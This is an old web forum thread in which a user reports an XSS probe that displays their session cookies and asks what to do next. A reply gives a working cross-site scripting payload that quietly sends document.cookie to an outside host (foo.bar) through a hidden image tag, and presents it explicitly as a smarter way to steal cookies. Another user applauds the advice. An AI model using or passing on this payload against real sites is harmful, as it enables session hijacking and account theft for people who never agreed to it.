|
|
|
|
Menu |
|
|
Home |
| |
|
Discussions |
| |
|
Tools |
| |
|
Affiliates |
| |
|
Content |
| |
|
Info |
| | |
|
|
|
|
|
User Info |
|
Membership:
Latest: MichaelSnaRe
New Today: 0
New Yesterday: 0
Overall: 9144
People Online:
Visitors: 75
Members: 0
Total: 75
|
|
|
|
|
|
Full disclosure |
|
|
|
|
|
|
|
|
|
IT Security and Insecurity Portal |
|
|
Cookie and Now? |
|
Posted: Tue Jul 20, 2004 7:20 pm |
|
|
akinci313 |
Beginner |
|
|
Joined: Jul 15, 2004 |
Posts: 3 |
|
|
|
|
|
|
|
I have got a cookie from a Homepage like this
xxxx.net_sid=05e2ecf......
and
xxxx.net-data=a%3A0......
it got it with index.php?content=foobar'><body onload=alert(document.cookie);>
what can i do now. |
|
|
|
|
|
Re: Cookie and Now? |
|
Posted: Thu Jul 22, 2004 8:30 pm |
|
|
madman |
Active user |
|
|
Joined: May 24, 2004 |
Posts: 46 |
|
|
|
|
|
|
|
akinci313 wrote: | it got it with index.php?content=foobar'><body onload=alert(document.cookie);> |
Do you realized the cookies above are actually belong to your phpbb session on that site? To steal cookie, don't try such stupid window.alert() method, now everyone can see what you're doing. Instead, use something smarter, like redirect the cookie data to your own site:
Code: | onload="document.write('<img src=\'http://foo.bar/?cookie=' + document.cookie + '\' width=0 height=0>');" |
Got it?
ps:
Don't waste your time to steal phpbb cookie. |
|
_________________ ch88rs,
madman |
|
|
|
|
hehe |
|
Posted: Thu Jul 22, 2004 10:09 pm |
|
|
icenix |
Advanced user |
|
|
Joined: May 13, 2004 |
Posts: 106 |
Location: Australia |
|
|
|
|
|
|
lol nice MadMan
explained it clean and simple
Take advice from the master |
|
|
|
|
www.waraxe.us Forum Index -> Cross-site scripting aka XSS
You cannot post new topics in this forum You cannot reply to topics in this forum You cannot edit your posts in this forum You cannot delete your posts in this forum You cannot vote in polls in this forum
|
All times are GMT
Page 1 of 1
|
|
|
Powered by phpBB © 2001-2008 phpBB Group
|
|
|
|
|
|
|